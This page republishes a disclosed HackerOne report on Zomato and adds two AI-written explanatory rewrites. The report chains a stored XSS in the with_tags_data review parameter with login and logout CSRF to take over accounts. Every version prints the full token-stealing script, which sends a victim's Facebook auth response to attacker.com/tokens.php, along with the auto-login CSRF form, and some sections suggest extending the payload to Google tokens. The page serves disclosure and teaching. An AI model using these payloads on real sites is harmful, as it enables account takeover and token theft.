Skip to content
XSS Disclosed report Intermediate

Self-Stored XSS - Chained with login/logout CSRF

A stored cross-site scripting (XSS) vulnerability in the with_tags_data parameter allowed an attacker to execute JavaScript when a victim edited a review. By chaining this with login and logout CSRF, an attacker could steal a victim's Facebook or Google authentication tokens and take over their account.

Sukhmeet Singh Follow

Originally disclosed on HackerOne

Bounty$300 Medium View original
  • Triaged in 43 hours
  • Fixed in 4 days
  • Paid in 44 hours
  • Disclosed after 4 days

NOTE! This report explains taking over an account in a single click by chaining stored XSS, WAF bypass, login and logout CSRF.

Summary: Attacker can takeover someone's account by stealing their facebook / google login tokens chaining multiple vulnerabilities.

Description: Attacker leaves a review on restaurant's page with XSS payload. Which is triggered when attacker tries to edit the review. By chaining multiple bugs, a webpage is crafted that will make victim logout of his account, login to attacker's account, redirects to XSS review page. Victim's facebook / google tokens are sent to attacker when victim clicks on edit button.

Platform(s) Affected: Website

Steps To Reproduce:

Request: Vulnerable parameter: with_tags_data

Method: POST URL: https://www.zomato.com/php/submitReview Parameters:

review=140 characters long review&
review_db=140 characters long review&
with_tags_data=<script>prompt(0,document.domain)</script>&
res_id=19132208&
city_id=11333&
rating=5&
is_edit=0&
review_id=0&
save_image=1&
instagram_images_to_update=[]&
instagram_json_data={"data":[]}&
uploaded_images_json=[]&
share_to_fb=false&
share_to_tw=false&
snippet=restaurant-review&
web_source=default&
csrf_token=2acad4ba08d4000000000007923a25d&
external_url=

Click on Edit button. It will trigger prompt box

Write review with XSS payload

Use the following JavaScript payload and add it in with_tags_data parameter. This code, when executed, will get Facebook authentication tokens of victim and send to attacker's server. Code can be improved to get Google authentication tokens as well. Code can be improved to get token with extra permissions like getting Google's contact list. In PoC video I have used minified version of this script

HTML
<script>
// load fb js-sdk
(function(d, s, id){
      var js, fjs = d.getElementsByTagName(s)[0];
      if (d.getElementById(id)) {return;}
      js = d.createElement(s); js.id = id;
      js.src = "//connect.facebook.net/en_US/sdk.js";
      fjs.parentNode.insertBefore(js, fjs);
    }(document, 'script', 'facebook-jssdk'));

window.fbAsyncInit = function() {
      FB.init({
        appId      : '288523881080', // zomato fb app id
        xfbml      : true,
        version    : 'v3.1'
      });

//get auth response ( accessToken and signedRequest )
FB.login(function(){
	$.post('https://attacker.com/tokens.php',FB.getAuthResponse())}); // send token and signed_request to attacker
	document.location.href = 'https://www.zomato.com/logout'; // logout from victims's account
 }
</script>

Crafting auto login page

  1. Intercept HTTP requests and login with facebook
  2. Create an HTML form to mimic request on https://www.zomato.com/php/asyncLogin.php
  3. Replace link in last line of script code with link to review with XSS payload.
HTML
<form target="attackerTokens" method="post" action="https://www.zomato.com/php/asyncLogin.php?access_token=██████">
	<input name='authResponse[accessToken]' value='█████'>
	<input name='authResponse[userID]' value='███'>
	<input name='authResponse[expiresIn]' value='5073'>
	<input name='authResponse[signedRequest]' value='████'>
	<input name='authResponse[reauthorize_required_in]' value='7774406'>
	<input name='authResponse[data_access_expiration_time]' value='1569568133'>
	<input type=submit>
</form>
<iframe name="attackerTokens"></iframe>

<!-- logout current session -->
{{media:0}}
<script>
setTimeout(function(){ document.forms[0].submit(); }, 1500); // login attackers account
setTimeout(function(){ window.location.href='http://zoma.to/link_to_review'; }, 4000); // redirect to XSS payload page
</script>

What does this page do?

  • This page will logout victim if already logged in. See img tag.
  • After that, it will submit the login form and attacker's account be logged in on victim's computer.
  • After login, it will redirect to review page with XSS payload.
  • Once victim click on Edit button, XSS will trigger and get victim's facebook tokens and send it to attacker's server.
  • Attacker is capable of using these token to login to victim's account.

Bugs Chained

  1. CSRF is not working on logout URL
  2. CSRF is not working on login URL
  3. WAF is not working when javascript code is sent in with_tags_data parameter
  4. with_tags_data is vulnerable to Stored XSS.

Fact: Facebook login tokens are by default valid for an hour. But attacker can run a script on server to get fresh tokens every minute, which he can place into crafted HTML.

Note: No real restaurant pages were harmed in PoC video. I replaced res_id with the restaurant I added. In PoC, Techboy is attacker and Sukhmeet is victim.

Impact

One click can make someone lose his account.

Attachments

attacker-setup.webm From the original on HackerOne
victim-hacked.webm

The original report as published on HackerOne, by madguyyy. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

The target is Zomato, the restaurant discovery and review site, and the affected asset is *.zomato.com. The feature at the centre of the report is the restaurant review editor: a logged-in user writes a review, submits it, and can later click Edit to change it. Reviews carry a with_tags_data field alongside the review text, rating and restaurant identifiers.

The researcher found that with_tags_data is stored without adequate sanitisation and rendered back when the review is edited, giving stored cross-site scripting. That alone is a script execution in the reviewer's own session, which is why the report calls it "self-stored". The interesting part is the chain: the XSS is combined with a login CSRF and a logout CSRF so that a single click on a crafted page logs the victim out, logs them into the attacker's account, redirects them to the booby-trapped review, and captures their Facebook (and, with modification, Google) authentication tokens when they press Edit.

Setup

The report describes two roles. The attacker is referred to as Techboy and the victim as Sukhmeet. The attacker needs:

  1. A Zomato account, used to post the review containing the payload.
  2. A restaurant page on which to leave that review. The researcher notes that no real restaurant pages were harmed and that res_id in the PoC was replaced with a restaurant he had added himself.
  3. A server to receive the stolen tokens, referenced in the payload as https://attacker.com/tokens.php.
  4. A page to host the crafted auto-login HTML, which the victim must visit.

The victim needs a Zomato account. The payload targets the Facebook SDK; the report says the code can be improved to grab Google tokens as well. The victim has to click the Edit button on the malicious review for the token theft to fire.

Finding it

The researcher identified with_tags_data as a parameter of the review submission endpoint that is stored and later reflected into the edit view without neutralising script. The report frames this as a stored XSS that triggers when the review is opened for editing and the Edit button is clicked. The WAF did not block JavaScript sent in this parameter, which the researcher lists as one of the chained bugs.

Exploitation

Step 1: Submit a review with the payload in with_tags_data

The vulnerable parameter is with_tags_data. The request is a POST to https://www.zomato.com/php/submitReview with the following parameters:

Text
review=140 characters long review&
review_db=140 characters long review&
with_tags_data=<script>prompt(0,document.domain)</script>&
res_id=19132208&
city_id=11333&
rating=5&
is_edit=0&
review_id=0&
save_image=1&
instagram_images_to_update=[]&
instagram_json_data={"data":[]}&
uploaded_images_json=[]&
share_to_fb=false&
share_to_tw=false&
snippet=restaurant-review&
web_source=default&
csrf_token=2acad4ba08d4000000000007923a25d&
external_url=

The with_tags_data value carries a simple <script>prompt(0,document.domain)</script> to confirm execution. The remaining fields are the normal review submission parameters: the review text (140 characters), the restaurant (res_id), city (city_id), rating, edit flag, image handling fields, social sharing flags, snippet type, source, CSRF token and an empty external_url. Clicking Edit on the resulting review triggers the prompt box, confirming the stored XSS.

Step 2: Replace the probe with a token-stealing payload

The researcher then swaps the probe for a payload that loads the Facebook JS SDK, initialises it with Zomato's app ID, calls FB.login and posts the auth response to the attacker's server, then logs the victim out:

HTML
<script>
// load fb js-sdk
(function(d, s, id){
      var js, fjs = d.getElementsByTagName(s)[0];
      if (d.getElementById(id)) {return;}
      js = d.createElement(s); js.id = id;
      js.src = "//connect.facebook.net/en_US/sdk.js";
      fjs.parentNode.insertBefore(js, fjs);
    }(document, 'script', 'facebook-jssdk'));

window.fbAsyncInit = function() {
      FB.init({
        appId      : '288523881080', // zomato fb app id
        xfbml      : true,
        version    : 'v3.1'
      });

//get auth response ( accessToken and signedRequest )
FB.login(function(){
	$.post('https://attacker.com/tokens.php',FB.getAuthResponse())}); // send token and signed_request to attacker
	document.location.href = 'https://www.zomato.com/logout'; // logout from victims's account
 }
</script>

Key parts:

  • The IIFE injects the Facebook SDK script (//connect.facebook.net/en_US/sdk.js) into the page.
  • FB.init uses Zomato's Facebook app ID 288523881080 and SDK version v3.1.
  • FB.login opens the Facebook login flow; on success, FB.getAuthResponse() (containing accessToken and signedRequest) is POSTed to https://attacker.com/tokens.php.
  • The script then redirects the victim to https://www.zomato.com/logout.

The report notes the code can be extended to capture Google authentication tokens and to request tokens with extra permissions such as the Google contact list. The PoC video used a minified version of this script.

Step 3: Craft the auto-login page

The attacker intercepts the HTTP requests made when logging in with Facebook, then builds an HTML form that mimics the request to https://www.zomato.com/php/asyncLogin.php. The last line of the script is changed to point at the review containing the XSS payload:

HTML
<form target="attackerTokens" method="post" action="https://www.zomato.com/php/asyncLogin.php?access_token=██████">
	<input name='authResponse[accessToken]' value='█████'>
	<input name='authResponse[userID]' value='███'>
	<input name='authResponse[expiresIn]' value='5073'>
	<input name='authResponse[signedRequest]' value='████'>
	<input name='authResponse[reauthorize_required_in]' value='7774406'>
	<input name='authResponse[data_access_expiration_time]' value='1569568133'>
	<input type=submit>
</form>
<iframe name="attackerTokens"></iframe>

<!-- logout current session -->
{{media:0}}
<script>
setTimeout(function(){ document.forms[0].submit(); }, 1500); // login attackers account
setTimeout(function(){ window.location.href='http://zoma.to/link_to_review'; }, 4000); // redirect to XSS payload page
</script>

The form posts the attacker's authResponse fields (access token, user ID, expiry, signed request, reauthorise interval, data access expiration) to asyncLogin.php, targeting a hidden iframe named attackerTokens so the page does not navigate away. The img tag (shown as `` in the report) performs the logout of the victim's current session. Two timers then fire: at 1.5 seconds the form is submitted, logging the attacker's account into the victim's browser; at 4 seconds the page redirects to http://zoma.to/link_to_review, the review carrying the XSS payload.

Step 4: What the page does, in order

  1. The img tag logs the victim out if they are already logged in.
  2. The form submits and the attacker's account is logged in on the victim's computer.
  3. The page redirects to the review page with the XSS payload.
  4. When the victim clicks Edit, the XSS fires, grabs the victim's Facebook tokens and sends them to the attacker's server.
  5. The attacker uses those tokens to log in to the victim's account.

Bugs chained

The researcher lists four:

  1. CSRF protection is not working on the logout URL.
  2. CSRF protection is not working on the login URL.
  3. The WAF does not block JavaScript sent in the with_tags_data parameter.
  4. with_tags_data is vulnerable to stored XSS.

The report also notes that Facebook login tokens are by default valid for an hour, but an attacker can run a script on the server to obtain fresh tokens every minute and place them into the crafted HTML.

Root cause

The stored XSS is the primary defect: with_tags_data is persisted and rendered into the review edit view without sanitisation, and the WAF did not catch the JavaScript in that parameter. The chain depends on two further weaknesses: the logout endpoint accepts a cross-site request (no effective CSRF protection), and the login endpoint asyncLogin.php accepts a cross-site POST of authResponse fields, letting an attacker force a victim's browser into the attacker's session. Together these let the attacker control which account the victim is in when the malicious review is opened, so the XSS fires in a context where the victim's Facebook tokens can be harvested.

Impact

The report's summary is that an attacker can take over someone's account by stealing their Facebook or Google login tokens. The impact statement is blunt: one click can make someone lose their account. The conditions are that the victim must be logged in with Facebook (or Google, with the extended payload), must visit the attacker's crafted page, and must click Edit on the malicious review.

Fix

The report does not state which fixes were applied. Based on the chained bugs, the fixes would be: sanitise or encode with_tags_data on output (and validate on input) so stored script cannot execute; enforce CSRF protection on the logout URL; enforce CSRF protection on asyncLogin.php so cross-site login POSTs are rejected; and tune the WAF to catch script payloads in with_tags_data. The report does not say which of these were implemented.

Variants to test

  • Submit a review with a benign probe such as <script>prompt(0,document.domain)</script> in with_tags_data and open the edit view. A prompt showing the domain confirms stored XSS.
  • Try the same parameter with an <img src=x onerror=...> payload to see whether the WAF blocks script tags but not event handlers.
  • Test the logout endpoint with a cross-site image or link. If the session ends without a token, logout CSRF is present.
  • Replay a captured asyncLogin.php POST from a different browser. If the attacker's session is established, login CSRF is present.
  • Extend the token-stealing payload to Google OAuth and check whether Google tokens can be captured the same way.

Hunting notes

This kind of bug tends to hide in secondary review or metadata fields that are stored and later rendered in edit forms, especially fields with names like with_tags_data that are not obviously user-facing. During recon, look for review, comment and profile edit endpoints that accept JSON or structured fields alongside the main text, and check whether those fields are reflected into the edit view. The signal is a parameter that survives submission and reappears in the DOM when you open the edit form. To show impact, chain the XSS with session-fixing bugs (login and logout CSRF) so the payload fires in a context where the victim's third-party tokens can be harvested, and demonstrate the full flow in a video. The researcher's PoC used a self-created restaurant, and the report notes that no real restaurant pages were harmed.

Attachments

attacker-setup.webm From the original on HackerOne
victim-hacked.webm

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

Zomato is a website where people look up restaurants and leave reviews about them. When you are logged in, you can write a review, send it, and later press an Edit button to change what you wrote. Every review carries a small bundle of extra information alongside the text, the star rating and the restaurant's ID. One of those extra fields is called with_tags_data.

The researcher found that whatever you put into with_tags_data is saved on Zomato's servers and then shown back to the browser when the review is opened for editing, without being cleaned up first. That means if you put a piece of JavaScript (a small program that runs inside a web page) into that field, the browser will run it. This kind of bug is called stored cross-site scripting, or stored XSS: "stored" because the bad content is saved on the server, and "cross-site scripting" because an attacker gets their own code to run inside someone else's website.

On its own, that is fairly limited: the script runs in the session of whoever opens the edit form, which is usually the person who wrote the review. The report calls this "self-stored". The clever part is what the researcher did next. He combined the XSS with two other weaknesses:

  • The logout address on Zomato can be triggered by any other website, so an attacker can log a victim out without their permission. This is called logout CSRF (cross-site request forgery: tricking a logged-in browser into sending a request the user did not intend).
  • The login address on Zomato accepts a login request posted from another website, so an attacker can silently log the victim into the attacker's own account. This is called login CSRF.

By chaining all three, the attacker builds one web page. When the victim opens it, the page logs the victim out, logs them into the attacker's account, and then sends them to the booby-trapped review. When the victim presses Edit, the hidden script runs and sends the victim's Facebook login tokens to the attacker's server. A token here is a short string of characters that proves to Facebook (or Google) that you are logged in; whoever holds it can act as you. With those tokens, the attacker can get into the victim's account.

The pieces you need to know first

Before walking through the steps, here are the ideas the report leans on, explained from scratch.

  • A web request: when you click a link or submit a form, your browser sends a message to a server. The message has a method (usually GET for "give me a page" or POST for "here is some data, please save it"), an address (the URL), and sometimes a body full of values.
  • A parameter: one named value inside a request, like rating=5. The server reads the name and uses the value.
  • A cookie or session: after you log in, the server gives your browser a small badge (a cookie) so it recognises you on the next request. Anyone who has that badge is treated as you until it expires or you log out.
  • A token: similar idea, but used between websites. Facebook gives Zomato a token saying "this person really is who they claim". If an attacker steals the token, they can pretend to be that person.
  • An API: a way for one piece of software to talk to another. Facebook's API lets other websites ask Facebook "who is this user?" and "give me a login token". The report uses Facebook's JavaScript SDK, which is a bundle of code Facebook provides so websites can call its API from the browser.
  • JavaScript: the programming language that runs inside web pages. It can read the page, send requests, and change what you see.
  • XSS (cross-site scripting): a bug where an attacker's JavaScript ends up running inside a page belonging to someone else's site, as if the site itself had written it. Stored XSS means the malicious script is saved on the server (in a review, a comment, a profile) and runs later for anyone who views it.
  • CSRF (cross-site request forgery): a bug where another website can make your browser send a request to a site you are logged into, and the site accepts it because your browser automatically attaches your cookie. The defence is a CSRF token: a secret value the site puts into its own forms and checks on arrival, which another site cannot guess.
  • WAF (web application firewall): a filter that sits in front of a website and tries to block obviously malicious requests, such as ones containing <script> tags.
  • iframe: a small window inside a web page that loads another page. It lets a page send a form without navigating away from the main page.
  • SDK: a software development kit, a ready-made set of tools from a company (here Facebook) that makes it easier to use their service.

Setting up the demonstration

The report describes two roles. The attacker is called Techboy and the victim is called Sukhmeet. The report refers to the attacker as Techboy and the victim as Sukhmeet.

The attacker needs four things:

  1. A Zomato account, used to post the review that contains the payload (the malicious script).
  2. A restaurant page to leave that review on. The researcher says no real restaurant pages were harmed: in the proof of concept he replaced the restaurant ID (res_id) with a restaurant he had added himself.
  3. A server of his own to receive the stolen tokens. In the payload this is https://attacker.com/tokens.php.
  4. A web page to host the crafted auto-login HTML, which the victim has to visit.

The victim needs a Zomato account. The payload in the report targets Facebook; the researcher notes the code can be extended to grab Google tokens as well. The victim also has to click the Edit button on the malicious review for the token theft to happen.

Finding the bug

The researcher found that with_tags_data is a parameter of the review submission address, that its contents are saved, and that they are later placed into the edit view without neutralising script. The report frames this as stored XSS that fires when the review is opened for editing. The WAF did not block JavaScript sent in this parameter, and the researcher lists that as one of the chained bugs.

Step 1: Submit a review with a test payload

The vulnerable parameter is with_tags_data. The request is a POST to https://www.zomato.com/php/submitReview with these parameters:

Text
review=140 characters long review&
review_db=140 characters long review&
with_tags_data=<script>prompt(0,document.domain)</script>&
res_id=19132208&
city_id=11333&
rating=5&
is_edit=0&
review_id=0&
save_image=1&
instagram_images_to_update=[]&
instagram_json_data={"data":[]}&
uploaded_images_json=[]&
share_to_fb=false&
share_to_tw=false&
snippet=restaurant-review&
web_source=default&
csrf_token=2acad4ba08d4000000000007923a25d&
external_url=

Line by line, in plain words:

  • review and review_db hold the review text, 140 characters long in this example. Two fields because the site keeps the text in more than one place.
  • with_tags_data holds the test script. <script> tells the browser "here comes JavaScript"; prompt(0,document.domain) opens a small pop-up box showing the current domain. It is harmless on purpose: it only proves the script ran.
  • res_id is the restaurant's ID. The researcher used a restaurant he had created himself.
  • city_id is the city's ID.
  • rating=5 is the star rating.
  • is_edit=0 says this is a new review, not an edit.
  • review_id=0 is the ID of the review, zero because it does not exist yet.
  • save_image=1 and the instagram_* and uploaded_images_json fields deal with photos attached to the review. Here they are empty.
  • share_to_fb=false and share_to_tw=false say not to share the review on Facebook or Twitter.
  • snippet=restaurant-review and web_source=default tell the server which kind of page the review belongs to.
  • csrf_token is the secret value the site puts into its own forms to prove the request really came from the site. The attacker can read it from his own browser because he is logged in normally.
  • external_url= is empty.

After sending this, clicking Edit on the review triggers the prompt box. That confirms the stored XSS: the script was saved and then ran when the edit form was opened.

Step 2: Swap the test for a token-stealing payload

Once the bug is confirmed, the researcher replaces the harmless prompt with a script that loads Facebook's SDK, asks Facebook for the visitor's login details, sends them to the attacker's server, and then logs the victim out:

HTML
<script>
// load fb js-sdk
(function(d, s, id){
      var js, fjs = d.getElementsByTagName(s)[0];
      if (d.getElementById(id)) {return;}
      js = d.createElement(s); js.id = id;
      js.src = "//connect.facebook.net/en_US/sdk.js";
      fjs.parentNode.insertBefore(js, fjs);
    }(document, 'script', 'facebook-jssdk'));

window.fbAsyncInit = function() {
      FB.init({
        appId      : '288523881080', // zomato fb app id
        xfbml      : true,
        version    : 'v3.1'
      });

//get auth response ( accessToken and signedRequest )
FB.login(function(){
	$.post('https://attacker.com/tokens.php',FB.getAuthResponse())}); // send token and signed_request to attacker
	document.location.href = 'https://www.zomato.com/logout'; // logout from victims's account
 }
</script>

What each part does:

  • The outer <script> tags mark the block as JavaScript so the browser runs it.
  • The comment // load fb js-sdk is just a note for humans.
  • The block starting (function(d, s, id){ is a small self-running function that creates a new <script> element pointing at //connect.facebook.net/en_US/sdk.js, Facebook's SDK, and inserts it into the page. The if (d.getElementById(id)) {return;} line avoids loading it twice. In everyday terms, it fetches Facebook's toolbox and plugs it into the page.
  • window.fbAsyncInit is a hook Facebook's SDK calls once it has finished loading. Inside it, FB.init sets up the SDK with Zomato's Facebook app ID 288523881080 and SDK version v3.1. The app ID tells Facebook which application is asking.
  • FB.login(function(){...}) opens Facebook's login flow. When it finishes, the function inside runs.
  • $.post('https://attacker.com/tokens.php',FB.getAuthResponse()) sends the result of FB.getAuthResponse() (which contains the accessToken and signedRequest) to the attacker's server. $.post is a shortcut for sending a POST request.
  • document.location.href = 'https://www.zomato.com/logout' then sends the victim's browser to Zomato's logout address, ending their session.

The report notes the code can be extended to capture Google authentication tokens and to request tokens with extra permissions, such as access to the Google contact list. The proof-of-concept video used a minified (shortened) version of this script.

Step 3: Build the auto-login page

The attacker now needs a page that will put the victim into the attacker's Zomato account before the malicious review is opened. To build it, he intercepts the HTTP requests his own browser makes when he logs in with Facebook, then copies them into an HTML form that mimics the request to https://www.zomato.com/php/asyncLogin.php. The last line of the script is changed to point at the review containing the XSS payload:

HTML
<form target="attackerTokens" method="post" action="https://www.zomato.com/php/asyncLogin.php?access_token=██████">
	<input name='authResponse[accessToken]' value='█████'>
	<input name='authResponse[userID]' value='███'>
	<input name='authResponse[expiresIn]' value='5073'>
	<input name='authResponse[signedRequest]' value='████'>
	<input name='authResponse[reauthorize_required_in]' value='7774406'>
	<input name='authResponse[data_access_expiration_time]' value='1569568133'>
	<input type=submit>
</form>
<iframe name="attackerTokens"></iframe>

<!-- logout current session -->
{{media:0}}
<script>
setTimeout(function(){ document.forms[0].submit(); }, 1500); // login attackers account
setTimeout(function(){ window.location.href='http://zoma.to/link_to_review'; }, 4000); // redirect to XSS payload page
</script>

What each part does:

  • The <form> element is a standard HTML form. method="post" says it sends data with POST. action="https://www.zomato.com/php/asyncLogin.php?access_token=██████" is the address it sends to, with the attacker's access token in the URL. The blacked-out blocks are the attacker's own values, hidden here.
  • target="attackerTokens" tells the browser to send the form into the iframe named attackerTokens rather than navigating the whole page away.
  • Each <input> is one field of the login request: the access token, the user ID, when the token expires (expiresIn), the signed request, how long until reauthorisation is needed, and when data access expires. These are the values the attacker captured from his own login.
  • <input type=submit> is the button that sends the form.
  • <iframe name="attackerTokens"></iframe> is the hidden window that receives the form's response, so the victim's page stays where it is.
  • The comment <!-- logout current session --> marks the next part.
  • The img tag (shown as `` in the report) loads an image from Zomato's logout address. Because browsers load images automatically, this quietly logs the victim out. The report does not show the exact tag, only that it is an img tag.
  • The <script> block sets two timers with setTimeout. After 1.5 seconds (1500 milliseconds), document.forms[0].submit() sends the first form on the page, logging the attacker's account into the victim's browser. After 4 seconds (4000 milliseconds), window.location.href='http://zoma.to/link_to_review' sends the victim to the review carrying the XSS payload.

Step 4: What the page does, in order

  1. The img tag logs the victim out if they are already logged in.
  2. The form submits and the attacker's account is logged in on the victim's computer.
  3. The page redirects to the review page with the XSS payload.
  4. When the victim clicks Edit, the XSS fires, grabs the victim's Facebook tokens and sends them to the attacker's server.
  5. The attacker uses those tokens to log in to the victim's account.

The bugs that were chained

The researcher lists four:

  1. CSRF protection is not working on the logout URL.
  2. CSRF protection is not working on the login URL.
  3. The WAF does not block JavaScript sent in the with_tags_data parameter.
  4. with_tags_data is vulnerable to stored XSS.

The report also notes that Facebook login tokens are by default valid for an hour, but an attacker can run a script on the server to obtain fresh tokens every minute and place them into the crafted HTML. In other words, the one-hour limit does not save the victim, because the attacker can keep the page stocked with a current token.

Why it works at all

The stored XSS is the main defect: with_tags_data is saved and then placed into the review edit view without being cleaned, and the WAF did not catch the JavaScript in that parameter. The chain depends on two more weaknesses. The logout address accepts a request from another site, so an attacker can end the victim's session. The login address asyncLogin.php accepts a cross-site POST of authResponse fields, so an attacker can force the victim's browser into the attacker's session. Together these let the attacker choose which account the victim is in when the malicious review is opened, so the XSS fires in a place where the victim's Facebook tokens can be harvested.

Impact

The report's summary is that an attacker can take over someone's account by stealing their Facebook or Google login tokens. The impact statement is blunt: one click can make someone lose their account. The conditions are that the victim must be logged in with Facebook (or Google, with the extended payload), must visit the attacker's crafted page, and must click Edit on the malicious review.

Fix

The report does not state which fixes were applied. Based on the chained bugs, the fixes would be: clean or encode with_tags_data when it is shown (and check it on the way in) so stored script cannot run; enforce CSRF protection on the logout URL; enforce CSRF protection on asyncLogin.php so cross-site login POSTs are rejected; and tune the WAF to catch script payloads in with_tags_data.

Variants to test

  • Submit a review with a harmless probe such as <script>prompt(0,document.domain)</script> in with_tags_data and open the edit view. A prompt showing the domain confirms stored XSS.
  • Try the same parameter with an <img src=x onerror=...> payload to see whether the WAF blocks script tags but not event handlers.
  • Test the logout address with a cross-site image or link. If the session ends without a token, logout CSRF is present.
  • Replay a captured asyncLogin.php POST from a different browser. If the attacker's session is established, login CSRF is present.
  • Extend the token-stealing payload to Google OAuth and check whether Google tokens can be captured the same way.

Where bugs like this hide

This kind of bug tends to sit in secondary review or metadata fields that are saved and later shown in edit forms, especially fields with names like with_tags_data that are not obviously user-facing. During recon, look for review, comment and profile edit addresses that accept JSON or structured fields alongside the main text, and check whether those fields come back into the edit view. The signal is a parameter that survives submission and reappears in the page when you open the edit form. To show impact, chain the XSS with session-fixing bugs (login and logout CSRF) so the payload fires in a context where the victim's third-party tokens can be harvested, and demonstrate the full flow in a video. The researcher's proof of concept used a self-created restaurant, and the report notes that no real restaurant pages were harmed.

Attachments

The report includes two videos. The first video is attacker-setup.webm.

attacker-setup.webm From the original on HackerOne

The second video is victim-hacked.webm.

victim-hacked.webm From the original on HackerOne

Glossary

  • API: a way for one piece of software to talk to another, like a waiter taking your order to the kitchen.
  • Cookie: a small piece of data a website stores in your browser so it can recognise you on later visits.
  • CSRF (cross-site request forgery): a bug where another website can make your browser send a request to a site you are logged into, and the site accepts it.
  • CSRF token: a secret value a site puts into its own forms and checks on arrival, which another site cannot guess.
  • GET: the request method used to ask a server for a page or data.
  • HTML: the language web pages are written in.
  • Login CSRF: a CSRF bug on a login address, letting an attacker log a victim into the attacker's account.
  • Logout CSRF: a CSRF bug on a logout address, letting an attacker log a victim out.
  • Parameter: one named value inside a request, such as rating=5.
  • Payload: the malicious content an attacker sends, here the script placed in a review.
  • POST: the request method used to send data to a server, for example when submitting a form.
  • Proof of concept (PoC): a demonstration that a bug is real, often with a video or screenshots.
  • SDK (software development kit): a ready-made set of tools from a company that makes it easier to use their service.
  • Session: the period during which a site remembers you as logged in, usually tracked with a cookie.
  • Stored XSS: cross-site scripting where the malicious script is saved on the server and runs later for anyone who views it.
  • Token: a short string of characters that proves you are logged in, to a site or between sites; whoever holds it can act as you.
  • WAF (web application firewall): a filter in front of a website that tries to block obviously malicious requests.
  • XSS (cross-site scripting): a bug where an attacker's JavaScript runs inside a page belonging to someone else's site.

More from Eternal

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.